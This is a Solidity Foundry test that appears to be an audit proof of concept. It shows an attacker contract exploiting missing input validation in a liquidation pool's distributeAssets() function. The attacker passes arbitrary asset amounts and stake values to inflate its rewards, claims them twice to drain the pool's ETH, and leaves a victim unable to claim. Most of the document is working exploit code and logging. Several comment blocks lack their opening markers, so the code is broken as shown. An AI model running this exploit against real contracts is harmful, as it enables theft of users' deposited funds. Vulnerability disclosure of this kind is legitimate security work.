pragma solidity ^0.8.17;
import {Test, console} from "forge-std/Test.sol";
import {LiquidationPool} from "../contracts/LiquidationPool.sol";
import {LiquidationPoolManager} from "../contracts/LiquidationPoolManager.sol";
import {ERC20Mock} from "../utils/ERC20Mock.sol";
import {EUROsMock} from "../utils/EUROsMock.sol";
import {ChainlinkMock} from "../utils/ChainlinkMock.sol";
import {MockSmartVaultManager} from "../utils/MockSmartVaultManager.sol";
import {TokenManagerMock} from "../utils/TokenManagerMock.sol";
import {ILiquidationPoolManager} from "../contracts/interfaces/ILiquidationPoolManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ITokenManager} from "../contracts/interfaces/ITokenManager.sol";
import {ISmartVaultManager} from "../contracts/interfaces/ISmartVaultManager.sol";
contract LiquidationPoolTest is Test {
uint256 public constant HUNDRED_PC = 100000;
uint256 public constant DEFAULT_COLLATERAL_RATE = 120000;
int256 public constant DEFAULT_ETH_USD_PRICE = 160000000000;
int256 public constant DEFAULT_EUR_USD_PRICE = 106000000;
int256 public constant DEFAULT_WBTC_USD_PRICE = 3500000000000;
int256 public constant DEFAULT_USDC_USD_PRICE = 100000000;
uint256 public constant PROTOCOL_FEE_RATE = 500;
uint32 public constant POOL_FEE_PERCENTAGE = 50000;
uint256 public constant TOKEN_ID = 1;
LiquidationPool liquidationPool;
LiquidationPoolManager liquidationPoolManager;
ERC20Mock _TST;
ERC20Mock _WBTC;
ERC20Mock _USDC;
EUROsMock _EUROs;
ChainlinkMock eurUsd;
ChainlinkMock wbtcUsd;
ChainlinkMock usdcUsd;
ChainlinkMock ethUsd;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
Attacker attacker;
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address protocol = address(this);
function setUp() public {
_TST = new ERC20Mock("The Standard Token", "TST", 18);
_WBTC = new ERC20Mock("Wrapped Bitcoin", "WBTC", 8);
_USDC = new ERC20Mock("USD Coin", "USDC", 6);
_EUROs = new EUROsMock();
ethUsd = new ChainlinkMock("ETH/USD");
wbtcUsd = new ChainlinkMock("WBTC/USD");
usdcUsd = new ChainlinkMock("USDC/USD");
eurUsd = new ChainlinkMock("EUR/USD");
vm.warp(365 days);
ethUsd.setPrice(DEFAULT_ETH_USD_PRICE);
wbtcUsd.setPrice(DEFAULT_WBTC_USD_PRICE);
usdcUsd.setPrice(DEFAULT_USDC_USD_PRICE);
eurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
tokenManager = new TokenManagerMock(bytes32("ETH"), address(ethUsd));
tokenManager.addAcceptedToken(address(_WBTC), address(wbtcUsd));
tokenManager.addAcceptedToken(address(_USDC), address(usdcUsd));
mockSmartVaultManager = new MockSmartVaultManager(DEFAULT_COLLATERAL_RATE, address(tokenManager));
liquidationPoolManager = new LiquidationPoolManager(
address(_TST),
address(_EUROs),
address(mockSmartVaultManager),
address(eurUsd),
payable(address(protocol)),
POOL_FEE_PERCENTAGE
);
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
_EUROs.grantRole(_EUROs.BURNER_ROLE(), address(liquidationPool));
attacker = new Attacker(address(liquidationPool), (payable(address(mockSmartVaultManager))));
}
receive() external payable {}
function testClaimRewards() public {
uint256 ethCollateral = 0.5 ether;
uint256 wbtcCollateral = 1_000_000;
uint256 usdcCollateral = 500_000_000;
uint256 stakeValue = 10000 ether;
vm.deal(user2, ethCollateral);
vm.prank(user2);
(bool success,) = address(mockSmartVaultManager).call{value: ethCollateral}("");
_WBTC.mint(address(mockSmartVaultManager), wbtcCollateral);
_USDC.mint(address(mockSmartVaultManager), usdcCollateral);
_TST.mint(address(attacker), stakeValue);
_EUROs.mint(address(attacker), stakeValue);
_TST.mint(user3, stakeValue);
_EUROs.mint(user3, stakeValue);
vm.startPrank(address(attacker));
_TST.approve(address(liquidationPool), stakeValue);
_EUROs.approve(address(liquidationPool), stakeValue);
liquidationPool.increasePosition(stakeValue, stakeValue);
vm.stopPrank();
vm.startPrank(user3);
_TST.approve(address(liquidationPool), stakeValue);
_EUROs.approve(address(liquidationPool), stakeValue);
liquidationPool.increasePosition(stakeValue, stakeValue);
vm.stopPrank();
vm.warp(block.timestamp + 2 days);
vm.startPrank(address(attacker));
liquidationPoolManager.runLiquidation(TOKEN_ID);
console.log("liquidation pool balances after the liquidation");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
(, LiquidationPool.Reward[] memory _rewards) = liquidationPool.position(address(attacker));
console.log("attacker rewards before claiming");
console.log("attacker eth reward: %s", rewardAmountForAsset(_rewards, "ETH"));
console.log("attacker wbtc reward: %s", rewardAmountForAsset(_rewards, "WBTC"));
console.log("attacker usdc reward: %s", rewardAmountForAsset(_rewards, "USDC"));
liquidationPool.claimRewards();
(, _rewards) = liquidationPool.position(address(attacker));
assertEq(rewardAmountForAsset(_rewards, "ETH"), 0);
assertEq(rewardAmountForAsset(_rewards, "WBTC"), 0);
assertEq(rewardAmountForAsset(_rewards, "USDC"), 0);
console.log("liquidation pool balances after the attacker claimed the rewards");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
The attacker takes advantage of the lack of input validation in `LiquidationPool::distributeAssets()` and calls it with arbitrary values.
The attacker intent is to manipulate `_portion` value in `LiquidationPool::distributeAssets()`
which is calculated as: `uint256 _portion = asset.amount * _positionStake / stakeTotal;`
Then the portion value is assigned to his rewards `rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;`
To accomplish this, the attacker contract calls `LiquidationPool::distributeAssets()` with a token amount that is greater than the attacker's stake.
*/
attacker.createTokenInfoAndCallDistributeAssets();
(, _rewards) = liquidationPool.position(address(attacker));
console.log("attacker eth reward: %s", rewardAmountForAsset(_rewards, "ETH"));
(, _rewards) = liquidationPool.position(user3);
console.log("liquidation pool balances before the attacker claims the rewards again");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
liquidationPool.claimRewards();
console.log("liquidation pool balances after the attacker claims the rewards again");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
console.log("attacker eth balance after claiming more rewards: %s", address(attacker).balance);
(, _rewards) = liquidationPool.position(user3);
console.log("user3 (VICTIM) eth reward: %s", rewardAmountForAsset(_rewards, "ETH"));
vm.stopPrank();
vm.expectRevert();
vm.prank(user3);
liquidationPool.claimRewards();
}
function rewardAmountForAsset(LiquidationPool.Reward[] memory rewards, string memory symbol)
internal
pure
returns (uint256)
{
bytes memory _symbol = bytes(symbol);
for (uint256 i = 0; i < rewards.length; i++) {
if (rewards[i].symbol == bytes32(_symbol)) {
return rewards[i].amount;
}
}
revert("Symbol not found");
}
}
interface ILiquidationPool {
function distributeAssets(ILiquidationPoolManager.Asset[] memory assets, uint256 _positionStake, uint256 stakeTotal) external payable;
}
contract Attacker {
ILiquidationPool liquidationPool;
address mockSmartVaultManager;
constructor(address _liquidationPool, address payable _manager) {
liquidationPool = ILiquidationPool(_liquidationPool);
mockSmartVaultManager = _manager;
}
The attacker is able to call `LiquidationPool::distributeAssets()` with arbitrary values
to manipulate `_portion` value in `LiquidationPool::distributeAssets()`
which is calculated as: `uint256 _portion = asset.amount * _positionStake / stakeTotal;`
The portion value is assigned to his rewards `rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;`
The attacker uses a valid token address, but with an amount of his choice. (`assets[i] = ILiquidationPoolManager.Asset(token, 0.5 ether);`)
*/
function createTokenInfoAndCallDistributeAssets() public {
ITokenManager.Token[] memory tokens =
ITokenManager(ISmartVaultManager(mockSmartVaultManager).tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
assets[i] = ILiquidationPoolManager.Asset(token, 0.5 ether);
}
}
liquidationPool.distributeAssets{value: 0}(assets, 1, 1);
}
receive() external payable {}
}